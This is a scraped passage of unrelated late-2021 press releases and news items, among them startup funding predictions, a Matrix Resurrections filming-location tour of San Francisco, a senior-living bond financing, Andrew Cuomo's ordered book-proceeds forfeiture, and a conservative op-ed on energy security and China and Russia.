Program or other offerings, visit http://www.ReachCyberCharter.com. ABOUT REACH CYBER CHARTER SCHOOL Reach Cyber Charter School is a unique, tuition-free, online public charter for K-12 students across Pennsylvania. Reach Cyber, a Pennsylvania Connections Academy, creates a high-quality educational experience that keeps students motivated and engaged in a safe, virtual learning environment. In addition to academics, teachers focus on emotional well-being and social development, working closely with families to help students learn how they learn best. Here, students gain the skills and confidence they need to direct their own educational journey, learning to thrive in the real world by first learning how to be resourceful and resilient. Reach Cyber incorporates STEM-enrichment opportunities, as well as flexible pacing options that allow students to choose from a traditional calendar option, year-round option, or for high school students, an accelerated schedule. For more information, call 800-382-6010 or visit http://www.ReachCyberCharter.com. 2022 could be the year of seize the moment for startups and entrepreneurs. Today, leaders from Rev1 Ventures, the startup studio that combines capital and strategic services to help startups scale and corporates innovate, are revealing top predictions for what startups can expect in the next year. 2021 was undoubtedly another year of ups and downs, as the world and businesses worked to rebound from the height of the COVID-19 pandemic. According to Pitchbook, U.S. startups raised roughly $240 billion in the first nine months of the year - breaking all records for US startup funding. This year, Rev1 launched its second corporate-backed fund, Rev1 Fund II, a $20MM fund aimed at supporting high-growth companies in Ohio and beyond. Rev1s portfolio has attracted a record $200MM in capital which included exit proceeds of $64MM for the regions startups this year. In an effort to help entrepreneurs make the most of the year ahead, Rev1 is revealing its top predictions for whats on the horizon for the startup ecosystem in 2022: Chief Executive Officer Tom Walker says that 2022 could be the year of seize the moment for startups and entrepreneurs. With the economy charging back, and with record amounts of venture capital being raised and flowing, the opportunity for funding is improved for startups at every stage. Many portfolio companies are expanding fund-raising right now specifically to compete aggressively in todays talent world. The market for top talent has never been more competitive nor more important. Talent is likely to be the number one challenge entrepreneurs face in 2022. Startups and their boards must develop talent strategies earlier and then back those strategies with the funding to attract and retain the talent needed to execute on the business plan. Chief Operating Officer Kristy Campbell says startups should embed diversity, equity and inclusion (DE&I) into their business plan from day one. Its a fact: companies with diverse leadership teams are more successful, so making DE&I a priority gives the company a leg up. This starts with the founding team, who must believe in and live out the culture in their daily actions. From the hiring process to the customer experience, DE&I principles should influence the companys priorities and decisions. Chief Business Development Officer Mike McCann says more venture capital money is going into the economy than ever before. Corporate investors have increased their involvement in venture capital rounds. Comparing the first 9 months of 2021 to the first 9 months of 2020, corporates increased the number of rounds theyre participating in by more than 80%. Also, through Q3 2021 corporate investors participated in more than 18% of all venture capital rounds, up from 16.5% through Q3 2020. Startups should be aware of how strategic partners or potential corporate clients are approaching innovation so they can help them address their evolving needs. Large firms need to think about how to leverage this vast pool of external R&D. Can it help you solve problems for current customers, expand product lines, or help you break into more radical spaces and new business models? Creating teams, partners, and networks to source, assess, and engage with emerging companies with consistency and speed is a vital ingredient for success in 2022. Chief Financial Officer & Chief Compliance Officer Dave Dillman says startups should focus on their key strategic decisions. Some business owners get caught up in the day-to-day running my business activities and need to step back and think through their business strategy. They can get caught up in the daily work and waste time (and precious runway) running their business down that path. Take some time to regularly revisit your strategy, engage experts (mentors and fractional professionals) and make sure you are on the best long-term path. Executive Vice President, Venture Acceleration & Investments Wayne Embree says understand where your next round of capital will come from. While venture investment over the last 24 months has shattered all previous records and money is clearing flowing into the market, the overwhelming majority of this capital remains focused on three markets: California, New York and Massachusetts. Secondary and tertiary markets continue to suffer significant capital gaps, especially for seed and early stage companies. Bottom line - startups outside of major hubs need to focus on validating their approach and market to capture the attention of the investors in their region. Executive Vice President, Investment Funds Ryan Helon says investors and corporations alike are keen on supporting innovations in digital health, healthcare IT, HR technology, fintech, insurtech, data analytics, enterprise Software as a Service. Enhanced virtual and preventative health care, including digital therapeutics, will be a particular focus - as will core AI technologies delivering enhanced data analytics for healthcare, logistics, and other industry verticals. This year, startups in the Great Lakes have already raised approximately $11.7 billion through three quarters, up from $8.2 billion in 2020 and $5.7 billion in 2019. The region has seen a more than 500 percent increase in venture capital funding in the past decade (since 2012). For more information about Rev1s unique approach to helping entrepreneurs build great companies, visit http://www.rev1ventures.com. About Rev1 Ventures Rev1 Ventures is the startup studio that combines capital and strategic services to help startups scale and corporates innovate. Based in the Midwest, Rev1 connects entrepreneurs to talent, customers, space and funding, to help entrepreneurs build great companies. With a proven track record of success, Rev1 is the most active seed investor in Ohio for the past seven years. For more information, visit http://www.rev1ventures.com. iMaaS Dashboard Data observability has emerged as a category in the data integration and intelligence software market to continuously monitor and test data for drift, shift, and anomalies, and notify those who need to know.", said Stewart Bond, director, Data Integration and Intelligence software research at IDC ScoreData today announced the launch of its cloud-based intelligent data monitoring services platform (iMaaS). With the rapid migration of enterprise apps to the cloud, and as digital transformation of the enterprise becomes an imperative, mission critical applications will increasingly be powered by high-quality data, and AI-powered solutions. Enterprise business outcomes are increasingly susceptible to data drifts which lead to adverse business outcomes. Todays tools are inadequate and unable to predict the impact of drift on business Key Performance Indicators. iMaaS comprehensive set of features warn business managers and data scientists about adverse business outcomes that could be caused by data drifts before they actually happen. Data drifts occur because of unplanned or unaccounted for events in the business ecosystem, such as onset of adverse weather, or the arrival of a pandemic. The platform allows business managers to plan for such adverse changes, across diverse data sets. iMaaS delivers warnings about the impact of drift and identification of the root causes, thus allowing decision makers to take pre-emptive action. For example, according to the Chief Data Officer of a leading insurance company, an alert about a potential increase in accident rates in certain zip codes due to unseasonal cold weather, would be greatly helpful to re-price policies appropriately, as well as set aside the right capital amounts to pay off claims, without which the insurance company could suffer losses from claims overages. Data drift and Prediction score drifts are insidious problems as businesses increasingly deploy AI-powered solutions that depend on the quality of data that is used to build the AI models for mission-critical applications said Dr. Valeria Sadovkyh, a technology consultant for a prominent consulting company. A very prominent online real-estate firm for prospective buyers recently shut down its house-flipping division after the algorithm proved unable to forecast housing prices with sufficient accuracy. While the models were built with historical data sets, the Covid pandemic introduced data drift which rendered the AI solutions invalid. Learning examples failed because the distribution of data from the real world shifted from the original data sets. Constant monitoring of data and predictions is thus an imperative for the success of AI/ML solutions deployed in production. Drift Detection is a largely unsolved problem in the industry until now says Shiraz Zaman, Head of AI Platform Engineering at a leading ride-hailing company. ScoreData has uniquely solved this problem, using patented technologies to monitor, measure, control and act, to allow businesses to use AI not only to improve data quality but to also continuously monitor and test data for a wide variety of changes through pre-production and post-production launches and operations of business critical software applications. "87% of CXOs are aiming to become a data-intelligent enterprise, but data is increasingly more distributed, diverse and dynamic, making it difficult to govern and control. Data is also continuous continuously moving and changing, requiring data intelligence and governance functions to also be continuous and synchronous with data. Data observability has emerged as a category in the data integration and intelligence software market to continuously monitor and test data for drift, shift, and anomalies, and notify those who need to know.", said Stewart Bond, director, Data Integration and Intelligence software research at IDC. ScoreData Summary: ScoreData delivers cloud-agnostic intelligent monitoring services (iMaaS) to SaaS businesses in banking, fintech, healthcare, insurance, and manufacturing industries. With the rapid migration of enterprise apps to the cloud, and as digital transformation of the enterprise becomes an imperative, mission critical applications will increasingly be powered by high-quality data and AI models in production. Enterprise business outcomes will increasingly be susceptible to data and model drifts, which will impact business performance. Todays tools are inadequate and unable to predict the impact of drift on business Key Performance Indicators. (KPIs). Our unique patented technology tracks offline and online data, features, and models, to study the impact of data drifts during data integration, and after enterprise application deployment. We alert managers about impending risks to KPIs that affect business outcomes. The iMaaS platform dashboard allows the practitioner to set sensitivities for semantic and other drifts, and once detected provides tools to correct the impact of the drift on business outcomes. ScoreDatas cloud-agnostic dashboards can be deployed within hours demonstrating value instantly at a fraction of the cost of home-grown or third-party solutions. ScoreDatas ScoreFast Analytics solutions have demonstrably improved conversion rates and prevented churn and improved cross-sell rates in Banking, Financial Services, Insurance, and Healthcare applications. CONTACT: info@scoredata.com, +1650 469 3205 The iconic 48-story Transamerica Pyramid with the striking 1907 flatiron Sentinel Building in the foreground. SF Travels The Matrix Resurrections film locations tour guides visitors through diverse and charming neighborhoods into downtown and ends on the waterfront. To access a digital map, visit https://bit.ly/MatrixSFTour. The wide-opening shot of the trailer for The Matrix Resurrections immediately transports viewers to San Francisco. Filmed near 1001 Vallejo Street, it shows the city's iconic skyline with the dazzling Bay Bridge in the background. Its just one of the scenes shot in the city for the new filmthe fourth in The Matrix franchise. Movie fans can take a walk in Neos footsteps and into the rabbit hole with a new self-guided tour created by the San Francisco Travel Association (SF Travel) based on filming locations in the city. When The Matrix debuted in 1999, it changed the science fiction genre and reimagined the Hollywood blockbuster with state-of-the-art visuals and philosophical storytelling. With The Matrix Resurrections produced, co-written, and directed by Lana Wachowski and actors Keanu Reeves and Carrie-Anne Moss reprising their roles as Neo and Trinity, movie fans can expect not only a thrilling film but also some stunning views of the City by the Bay. Portions of the fourth Matrix installment were filmed in early 2020 in San Franciscos Financial District, Chinatown, North Beach, Russian Hill, and South of Market (SOMA) neighborhoods. And on Dec. 18, The Matrix Resurrections U.S. premiere will be held at San Franciscos famed Castro Theatre. SF Travels The Matrix Resurrections film locations tour guides visitors through diverse and charming neighborhoods into downtown and ends on the waterfront. To access a digital map, visit https://bit.ly/MatrixSFTour. San Francisco Locations Every Matrix Fan Needs to Explore Prep for the tour by cueing up pioneering San Francisco band Jefferson Airplanes acclaimed Surrealistic Pillow album. The psychedelic rock song White Rabbit is featured in the trailer. Jefferson Airplane began its career at the now-defunct San Francisco club, The Matrix, on Filmore Street. The first stop on the tour is the opening scene of the trailer. Go to Vallejo Street at Jones Street. Take the stairs up and walk to a cul-de-sac, part of the National Register Russian Hill - Vallejo Street Crest Historic District. Enjoy the sweeping view captured in the film, with the Transamerica Pyramid, Salesforce Tower, and Bay Bridge starring in the cityscape. This historic district escaped the great fire following the 1906 earthquake and is noted for its pioneering First Bay Area Tradition houses and Beaux-Arts street design and landscaping. The famed wild parrots of Telegraph Hill can often be spotted perched in trees here. After taking in the view, head down the stairs towards Taylor Street. Of note is 1001 Vallejo, the house featured in season two of The OA TV series. Go east on Vallejo down one of the citys terraced staircases that winds through a small urban park. Walk four blocks and turn right onto Columbus Avenue. Stroll past San Franciscos famed City Lights bookstore, a literary landmark founded in North Beach in 1953 by poet Lawrence Ferlinghetti and Peter D. Martin. It became a legendary gathering spot for The Beat Generation. At the intersection of Columbus Avenue and Kearny Street is the Sentinel Building/Columbus Tower (916 Kearny Street). The 1907 flatiron building is clad in white tile and oxidized copper and straddles North Beach, Chinatown, and The Financial District. Gaze at the landmark building with the 48-story Transamerica Pyramid in the background just like Neo does in the movie. Enjoy a drink at Cafe Zoetrope, Francis Ford Coppolas cafe, on the ground floor of the Sentinel. Next, head down Kearny to the nearby House of Nanking (919 Kearny Street) and grab lunch where Neo and Trinity made a stop. Opened in 1988 by Peter and Lily Fang, the restaurant is famous for its Shanghainese cuisine and the chef ordering for guests. Continue walking down Kearny; make a right onto Washington Street and then a left onto Grant Avenue, the commercial center of Chinatown. San Franciscos Chinatownthe largest outside of Asiais the site of several movie scenes, including ones shot on California at Grant and Pine at Grant. Chinatown is a bustling place to shop, eat, and learn about the history of Chinese immigration to California. One can even take a short side trip to the Golden Gate Fortune Cookie Factory (56 Ross Alley) for a tour. Upon reaching Chinatowns Dragon Gate at the Grant and Bush intersection, turn left onto Bush Street. Next, turn right and head to 44 Montgomery, one of the towering office buildings in downtown San Francisco featured in the movie. Then, head east on Market Street until you reach One Front Street, another building where filming took place. Traverse Front Street and turn left onto Pine Street. Two blocks up at 155 Sansome Street is the City Club of California. The Jazz Era lobby is the setting for a dramatic scene. One block further on Pine past the grand Stock Exchange Tower is Joe & The Juice (235 Montgomery Street). For the movie, Joe & The Juice was transformed into Neos favorite coffee shop, Simulatte. Enjoy an afternoon pick-me-up there. Head north on Sansome to California Street, where a number of movie scenes were shot. Several buildings from the film and some of San Franciscos oldest landmark buildings can be seen here. The landmark Beaux-Arts Merchants Exchange Building, located at 465 California Street, is included in the film location list. Built in 1904, the building is one of the few to survive the 1906 earthquake and subsequent fire. Over 80% of San Francisco was destroyed in the aftermath of the earthquakewhen fire leveled over 490 city blocks. The modern building at 425 California is also featured in the film. Not far from there is the landmark Bank of California Building. The 1908 Greco-Roman style structure located at 400 California is dubbed The Grand Old Lady of California Street. Keep walking along California towards the waterfront. Pass by the famed Tadich Grill, which dates to 1849 and is the oldest continuously run restaurant in California. And so very San Francisco, Tadich Grill now sits next to one of the citys newest acclaimed restaurants, Estiatorio Ornos a Michael Mina Restaurant. Also appearing in the film is 150 California. The building features a 330-foot-high glass feature with a rooftop spire. Follow California east until it reaches Market Street. Visit the Harry Bridges Plaza at the Embarcadero, another film location, in front of the Ferry Building. Artists, skateboarders, and others congregate at the plaza to enjoy the view. Inside the landmark Ferry Building, sample local Bay Area favorites. Grab a cup of Blue Bottle Coffee, Humphry Slocombe ice cream, or macarons from Miette, or sample oysters from Hog Island Oyster Company. If the outdoor Farmers Market is open, explore the stalls of fruit, vegetables, flowers, herbs, meats, cheeses, and more from small regional farmers and producers. Afterwards, walk south to the end of nearby Pier 14 for some of the best views of the Bay, including many of the landmarks seen in the films sweeping skyline shots. Fan Extras Salesforce Tower (415 Mission Street), the tallest building in the city, appears in skyline scenes in the film. Day for Night by artist Jim Campbell is a dynamic LED installation that circles the crown of the building. Enjoy a visit to the nearby Salesforce rooftop park, which sits 70-feet above the Grand Hall and runs the length of the four-block transit center. Several nearby intersections can be seen in The Matrix Resurrections, including Fremont and Mission streets. The Avery at 488 Folsom Street in SOMA appears to be Neos home in the film. (The bathtub scene in the trailer is the giveaway). The 56-story glass tower is a luxury residential building with breathtaking views of San Francisco Bay and the cityscape. Filming also took place on Powell between California and Market streets. For an iconic San Francisco experience, take a Cable Car ride from the Powell Street Cable Car Turnaround located just off Market past Union Square and California Street. The cable car ride ends at Fishermans Wharf. For one last Matrix Moment take BART to your destination. A pivotal fight scene in the film takes place at a downtown station. About San Francisco Travel The San Francisco Travel Association is the official destination marketing organization for the City and County of San Francisco. Tourism is San Francisco's largest industry. More than 25.8 million people visited the destination in 2019, spending in excess of $10 billion. More than 86,000 jobs are supported by tourism in San Francisco. San Francisco is one of the metropolitan areas in the U.S. that has consistently kept Covid-19 largely under control. The COVID-19 Prevention & Enhanced Cleaning Guidelines put forth by the Hotel Council of San Francisco, ensure that our hospitality businesses are adhering to the most elaborate cleaning and safety protocols. San Francisco Travel invites all visitors who are planning to come in 2021 to contribute their part to a safe and enjoyable experience by taking our Safe Travel Pledge. For information on reservations, activities and more, visit https://www.sftravel.com. For more about San Francisco, follow on Facebook, Instagram and Twitter. Please use hashtags #sftravel and #AlwaysSF. About San Francisco International Airport San Francisco International Airport (SFO) wants you to Travel Well. SFO works with local, state, and federal health officials to protect against COVID-19. Measures include enhanced cleaning protocols, hundreds of hand sanitizer stations, physical barriers, face coverings for everyone and physical distancing. To learn more visit flysfo.com/travel-well. SFO offers nonstop service to Asia, South Pacific, Europe, Canada, Mexico and across the United States. For up-to-the-minute departure and arrival information, airport maps and details on shopping, dining, cultural exhibitions, ground transportation and more, visit http://www.flysfo.com. Follow us on http://www.twitter.com/flysfo and http://www.facebook.com/flysfo. United Airlines is the preferred airline of the San Francisco Travel Association. Note to editors: Poop is gross. You know it, I know it, Santa knows it. Shittens, the company known for keeping your hands clean while doing the dirty deed, announced that they have resumed production of their popular product, after moving their factory from overseas to America. The move comes as the country is rebuilding from a pandemic that wiped out many businesses. "Factory workers are America's backbone. Shittens protect America's backside. The choice to move production here was an obvious one," says Michael Weinstein, Chief Fecal Strategist. The decision to make Shittens in the US was not without cost. Production ceased for nearly a year while the team found a factory that could produce the high quality product. We invested a tremendous amount of time and money to bring Shittens right here to the US of A, Rachel Wilson, CMO, says. We're honored to protect your hands and butts with a product proudly made in America." Shittens' new east coast-based factory is now operational, providing the highly sought-after wipe just in time for the holiday season. You can order on Amazon Prime right now for Christmas delivery! We worked really hard to make sure no one would have to wake up Christmas morning feeling a sense of sadness thinking Santa had forgotten their fanny says Wilson, Poop is gross. You know it, I know it, Santa knows it." Shittens execs hope the move to America will mean a lot to everyone. Its a divisive time in this country. But if there's one great universal truth that we can all agree on, it's this: No one wants poop on their hands, said Mike Powers, CEO, Brownstar Enterprises. It was important to the team to bring their business and humor back to the states. Says CEO Richie Wilson, "In all seriousness, bringing jobs to America was priority #1. The poop jokes? Well, that's sort of #2." About Shittens: Shittens are wet wipes shaped like a mitten, commonly used for adults, babies, elderly care, disabled care & pet clean up. They have been featured on Real Time with Bill Maher, The Today Show with Kathy Lee and Hoda, CBS' Live from the Couch, Buzz Feed, Tosh.0, Redbook, People Magazine, SiriusXM and more. For more information, visit http://Shittens.com or purchase directly on amazon at https://amzn.to/3pODSdI. "We make a point of dealing only with companies who have a reputation for providing exceptional service and the highest quality products. Were very excited to bring ParentSquares incredible functionality and customer support to our members," said ILTPP Program Manager Hope Hardin-Borbely. ParentSquare, the award-winning unified school-home communications platform for K-12 education, has been named a vendor partner by the Illinois Learning Technology Purchase Program (ILTPP). The ILTPP is a statewide cooperative created by Illinois Learning Technology Center (LTC), Regional Offices of Education (ROE), and Intermediate Service Centers (ISC) in 1998. Its goal is to provide a voluntary purchasing program that combines the purchasing power of Illinois school districts and other eligible educational entities to offer competitive pricing on technology products and services. Approved vendors undergo a rigorous evaluation before obtaining ILTPPs approval for partnership. The program researches the reliability of each vendor by contacting three educational facilities that have purchased their products within the last year. In addition, an advisory committee consisting of LTC, ROE, and ISC directors and Illinois State Board of Education officials assesses the vendors' pricing and products. We aim to secure strategic partnerships with some of the most innovative organizations in educational technology, said ILTPP Program Manager Hope Hardin-Borbely. We make a point of dealing only with companies who have a reputation for providing exceptional service and the highest quality products. Were very excited to bring ParentSquares incredible functionality and customer support to our members. ParentSquares contract with ILTPP gives cooperative members access to a unified, two-way communications platform that enables them to easily contact the parents and guardians of their students while overcoming language or socioeconomic barriers and maintaining the highest standards of privacy and security. Families can receive alerts for school or district news, activities and events, as well as complete forms and permission slips, sign up for parent-teacher conferences, check attendance, RSVP for events, and more. School staff and parents can also participate in one-to-one and group messaging with real-time language translation. ParentSquare offers translation to more than 100 languages, and app, email, text, voice, and web portal access for more equitable communications district-wide. It also features extensive integrations with student information and other critical administrative systems and single sign-on capabilities. Establishing efficient, effective communication with students families is one of the overarching challenges that schools and districts face today, said Dr. Chad A. Stevens, Chief Strategy Officer of ParentSquare. As an Illinois resident, lifelong educator, and father of two school-aged children, I can speak on behalf of everyone at ParentSquare when I say were delighted to help improve parent engagement and communications equity in Illinois schools. About the Illinois Learning Technology Purchase Program The Illinois Learning Technology Purchase Program (ILTPP) was jointly developed in 1998 by the Learning Technology Centers, the Regional Offices of Education, and the Intermediate Service Centers, responding to needs assessment information provided by district personnel statewide. ILTPP, a statewide cooperative of Illinois K-12 educational organizations, aggregates buying power and expertise to procure technology products and services at better prices than those available to individual organizations. For more information, please visit us online and follow ILTPP on Facebook and Twitter. About ParentSquare ParentSquare is relied upon by millions of educators and families in 44 states for unified, effective school communications. ParentSquare provides parent engagement tools that work from the district office to the individual classroom, supported by powerful metrics and reporting. ParentSquare's technology platform features extensive integrations with student information and other critical administrative systems, translation to more than 100 languages, and app, email, text, voice, and web portal access for equitable communication. ParentSquare (http://www.parentsquare.com), founded in 2011, is based in Santa Barbara, CA. Tom Meyers, Senior Managing Director, Ziegler Senior Living Finance added, Ziegler is proud to have served Otterbein for a second and third time on these financings which bring Granville into Otterbeins family of services. Ziegler, a specialty investment bank, is pleased to announce the successful closing of Otterbein Homes Obligated Groups Series 2021B Bonds. Otterbein Homes d/b/a Otterbein SeniorLife (Otterbein) is an Ohio based, tax-exempt corporation established in 1912, whose purpose is to serve the needs of older persons. Otterbein fulfills this mission by providing residential and supportive services in its SeniorLife communities, skilled nursing and rehabilitation neighborhoods (Neighborhoods) and home health and hospice services throughout Ohio and south-central Indiana. The Otterbein Homes Obligated Group is comprised of a total of 1,440 ILUs, 489 ALUs and 1,020 SNUs across nine SeniorLife Communities and nine Neighborhoods (including the acquisition of Kendal at Granville, as described below). Otterbein is currently listed at #20 on the 2021 LeadingAge Ziegler 200 list of the largest not-for-profit multi-site senior living organizations. The Series 2021B Bonds were issued through the State of Ohio, acting by and through the Ohio Higher Educational Facility Commission, and consisted of $24,485,000 of tax-exempt Series 2021B Bonds. In concurrence with the pricing of the Series 2021B Bonds, $20,500,000 of tax-exempt Series 2023 Bonds were priced as well. The Series 2023 Bonds are forward delivery bonds (17 months) and are scheduled to close on April 5, 2023. Proceeds of the Series 2021B Bonds were used to pay the costs associated with Otterbeins acquisition of the membership interest in Kendal at Granville, with the proceeds of that acquisition to be used by Kendal at Granville to refund the Series 2015 Kendal at Granville Bonds, acquire certain leased property at the Kendal at Granville campus and pay the costs of issuance of the Series 2021B Bonds. Kendal at Granville became a member of the Otterbein Homes Obligated Group with the issuance of the Series 2021B Bonds and will be rebranded as Otterbein Granville. Proceeds of the Series 2023 Bonds will be used to refund Otterbeins outstanding Series 2013A Bonds. The refunding of the Series 2013A Bonds resulted in more than $3.5 million of net present value savings at the time of the Series 2023 Bonds pricing. The Series 2021B and Series 2023 Bonds are rated A by S&P, and carry a blended yield to call of 2.22% and a blended weighted average yield to maturity of 2.58%. The Series 2021B Bonds have a final maturity in 2046 and the Series 2023 Bonds have a final maturity in 2039. The Series 2021B Bonds will be subject to optional redemption beginning on July 1, 2028 @ 103% DTP in 2031. The Series 2023A Bonds will be subject to optional redemption beginning on July 1, 2030 @ 103% DTP in 2033. These were the second and third financings completed by Ziegler on Otterbeins behalf and all three were executed within four months of each other. Ziegler closed a $8,520,000 financing in August 2021 to facilitate the refinancing of certain debt at Otterbein Sunset House and Otterbein Sunset Village. Chris Green, Chief Financial Officer of Otterbein stated, Incredibly, in the span of just a few months we completed three public financings. Tom Meyers and the entire team at Ziegler provided stellar leadership in helping Otterbein navigate this process. This most current transaction will result in significant savings for our newest community, Otterbein Granville, along with savings in the future for the entire Otterbein organization with the forward refunding of our 2013A bond issuance. We were very pleased with the entire process and execution. Thank you all for a job well done. Tom Meyers, Senior Managing Director, Ziegler Senior Living Finance added, Ziegler is proud to have served Otterbein for a second and third time on these financings which bring Granville into Otterbeins family of services. Both the Series 2021B and Series 2023 Bond financings are threshold events for Otterbein which will help it to continue to expand, strengthen and fortify its mission of providing quality living and growth opportunities for older persons in the context of its Methodist faith tradition. Otterbein is a strong leader in its market places, continually setting high standards for other providers. Ziegler is the nations leading underwriter of financings for not-for-profit senior living providers. Ziegler offers creative, tailored solutions to its senior living clientele, including investment banking, financial risk management, merger and acquisition services, seed capital, FHA/HUD, capital and strategic planning as well as senior living research, education, and communication. For more information about Ziegler, please visit us at http://www.ziegler.com. About Ziegler: Ziegler is a privately held, national boutique investment bank, capital markets and proprietary investments firm. It has a unique focus on healthcare, senior living and education sectors, as well as general municipal and structured finance. Headquartered in Chicago with regional and branch offices throughout the U.S., Ziegler provides its clients with capital raising, strategic advisory services, fixed income sales, underwriting and trading as well as Ziegler Credit, Surveillance and Analytics. To learn more, visit http://www.ziegler.com. Certain comments in this news release represent forward-looking statements made pursuant to the provisions of the Private Securities Litigation Reform Act of 1995. This clients experience may not be representative of the experience of other clients, nor is it indicative of future performance or success. The forward-looking statements are subject to a number of risks and uncertainties, in particular, the overall financial health of the securities industry, the strength of the healthcare sector of the U.S. economy and the municipal securities marketplace, the ability of the Company to underwrite and distribute securities, the market value of mutual fund portfolios and separate account portfolios advised by the Company, the volume of sales by its retail brokers, the outcome of pending litigation, and the ability to attract and retain qualified employees. # # # In something of a crowning blow, disgraced former New York governor Andrew Cuomo has been ordered by state ethics officials in New York to hand over roughly $5.1 million in earnings from his 2020 pandemic memoir American Crisis: Leadership Lessons from the Covid-19 Pandemic. Penguin Random Houses's Crown imprint signed Cuomo to write the book at the height of his popularity, billing the book as a "revealing, behind-the-scenes account of his experience leading New York State through the COVID-19 epidemic." In a 12-1 vote, the New York State Joint Committee on Public Ethics passed a resolution on December 14 ordering Cuomo to forfeit his proceeds from the book within 30 days. The resolution comes after the same committee revoked Cuomo's authorization for the book on November 16, finding that Cuomo breached his agreement with state ethics officials by, among other things, misrepresenting or failing to disclose the significant use of "state property, resources and personnel, including staff volunteers" used in "in connection with the preparation, writing, editing and publication" of the book. A spokesman for Cuomo told the New York Times that Cuomo will fight the fight the order. JCOPEs actions today are unconstitutional, exceed its own authority and appear to be driven by political interests rather than the facts and the law, Cuomo lawyer Jim McGuire told reporters. The move comes a week after HarperCollins confirmed that it was canceling its agreement to publish a book by Cuomo's brother, Chris Cuomo. The younger Cuomo was fired by CNN last week after an inquiry reportedly found he had used his position to help his brother as multiple charges of sexual harassment surfaced. Richard Baker, son of Baker Publishing Group's founder Herman Baker and former president and chairman of the publishing house, died December 12. He was 86. Baker's career started as a boy sweeping floors at Baker Book House, which his father opened as a used bookstore in 1939. Baker went on to work in sales and helped expand the business into publishing before serving as president of the company from 1987-1997. During that time, Baker doubled in size with the acquisitions of two publishers, Fleming H. Revel and Chosen Books. The imprints remain at Baker today, along with divisions Bethany, Baker Academic, Brazos Press, and the retail store. After stepping down as president in 1997, Baker continued to interact with staff and employees at the Baker Book House store, according to a press release from the publisher. Baker is survived by his wife Frances and their four children, including current Baker Publishing Group president, Dwight Baker. Baker Publishing stated that "employees, business affiliates, and family are saddened by the loss of Richard Baker and will miss his leadership and his great love for the publishing industry." The Baker family said in a statement that they have "been blessed by many years of Richards fatherly love, ever-present humor, and enduring commitment to the Christian faith." START, a streaming service and the leader in creating premium content on the VOD market in Russia and CIS, has announced an exclusive package deal with TV3 Group for Latvia, Lithuania and Estonia. As part of the deal TV3 Group has picked up STARTs series The Vampires of Midland, Addicted, A Good Man, Ms. Sweet, Fitness, Best Frenemies and other titles, including a number of STARTs feature films. The shows will be featured on TV3s SVOD service GO3 and its TV Channels TV3, TV3Film, TV3 Life, and TV3+. Daria Bondarenko, EVP sales and acquisitions, START, said: We are very proud to partner with TV3 Group to bring our premium content to Baltic audiences. There is a huge range of interesting, innovative and multi-genre content included that we know viewers will love. The TV3 Group is an excellent home for all the series, and we hope it would become a solid foundation for our future partnerships in the Baltics. Meanwhile, Polot Media has acquired format rights for STARTs hit comedy drama series s. Sweet for adaptation in Poland. The series follows Vera Sweet, a long-suffering housewife and mother with a gift for making delicious confectionery. After throwing her philandering husband out, Vera looks to make ends meet and starts her own confectionery business, where she enlists the help of her elderly dad, teenage daughter, and cranky sister, with mixed results. Bondarenko commented: We are looking forward to how Polot Media adapts Ms. Sweet for the Polish market as theyve done a great job with Kowalsky vs. Kowalsky (an adaptation of a hit comedy series Ivanovs vs. Ivanovs). Tamara Aagten-Margol, CEO, Polot Media, added: We are very happy to co-operate with START, we are very excited about the format and already discussing future co-operation together. In the current day and age, energy security is a prerequisite for national security. When America became energy independent in 2019, it freed us from the political whims of unstable countries. But dogmatic leftists across the world have made it clear that they will sacrifice energy security for their idea of necessary climate policy, seemingly undisturbed by the transfer of that security to communist and authoritarian regimes in China and Russia. As a result, the world might see a Red Revolution before it ever sees a Green one. While in recent years the US has embraced its liquified natural gas (LNG) boom, European countries steered the other way, ramping down fossil fuel production and increasing their dependence on fossil fuel imports. They have justified this as a necessary sacrifice until solar and wind deployment catches up. They are seemingly unconcerned that Russia has become the EUs largest supplier of fossil fuels, supplying around 40% of the EUs LNG and coal. This over-reliance on Russian gas has finally caught up with Europe in the form of a self-inflicted energy crisis. They now rely on Putin to save them through the winter. Wind power is at the forefront of European energy transitions, so a particularly un-windy year has forced them to look for more gas supply, which has not come easy (or cheap) as global supply is crunched. So they needed Russia to save them, and Putin has shown a willingness to weaponize gas supply. Never let a good crisis go to waste, as Winston Churchill famously said. Armed with this newfound political capital, Putin has wasted no time aiming for his most desired prize: Ukraine. A master of political chess, Putin has patiently waited for the right opportunity to continue what he started with Crimea in 2014. Europes energy crisis has presented that opportunity, as evident by the buildup of estimated 175,000 troops along the Ukraine border. Since he essentially has the power to turn off the lights this winter for many Western Europeans, he knows that NATO countries will think twice about helping Ukraine, and he is right. For Taiwan, too, tensions are at an all-time high. Much like with Russia and Ukraine, China does not recognize Taiwans independence. The West does, but the West is interested in developing renewable energy, like wind turbines, solar panels, and electric vehicles. The manufacture of such goods requires rare earth minerals. The International Energy Agency estimates that in order to reach net-zero by 2050, demand for rare earths, primarily used for making EV motors and wind turbines, increases by a factor of ten by 2030. Guess who controls nearly 70% of the worlds rare-earths market. China dominates the supply of minerals required for wind turbines, solar panels, and electric vehicles. Its also the leading supplier of grid components like transmission lines for renewable technologies, as highlighted in a recent National Intelligence Council report. The West recognizes this issue its far too dependent on China for renewable energy developments but red tape and lack of expertise make it impossible to compete. Therefore, as the West goes all-in on renewable energy, it will be increasingly dependent on Chinese supply chains wrought with slave labor and carbon-intensive mining. Its hard not to see Xi Jinping take this as an opportunity to expand Chinas global dominance, starting with recapturing Taiwan. The solutions are rather simple. The West needs to focus on healthy market competition with China and Russia, rather than managing this unhealthy tension thats only being exacerbated by irresponsible energy policy. We need to maintain our domestic LNG production so that we can be the dependable supplier of clean gas. For example, China has been facing an energy squeeze this year, so they turned to the US and entered into the largest LNG contract ever between the two superpowers. Market transactions like this go a long way toward easing diplomatic tensions. We need to keep all nuclear plants alive and lead in advanced nuclear technology. We need to cut the red tape that hinders our ability to compete with China on the innovation front. And we need to get real about the limits of solar and wind power. If we started working with these countries instead of against them, we may keep their anti-democratic foreign policies in check while maximizing innovation to combat global warming. The biggest impediment to this progress is, ironically, progressives. Per the Congressional Progressive Caucus climate policy recommendations, we must transition to 100 percent clean renewable energy as quickly as possible. They want to ban fracking and LNG exports, abandon nuclear energy, and make everyone drive electric vehicles. Even the centrist Democrats like Biden have shown theyre willing to go this route, just in a more non-committal manner in order to appease oft-conflicting donor interests. If Democrats get their way, well end up in the same position as Europe. China will control renewable supply chains, and Russia will control the fossil fuels needed as backup. Energy crises will be more frequent, especially if the weather becomes more erratic with global warming. And communism will spread globally like wildfire. Maybe that is what progressives want. Patrick Hynes is a Young Voices contributor and an editorial associate at The Conservation Coalition. He also serves 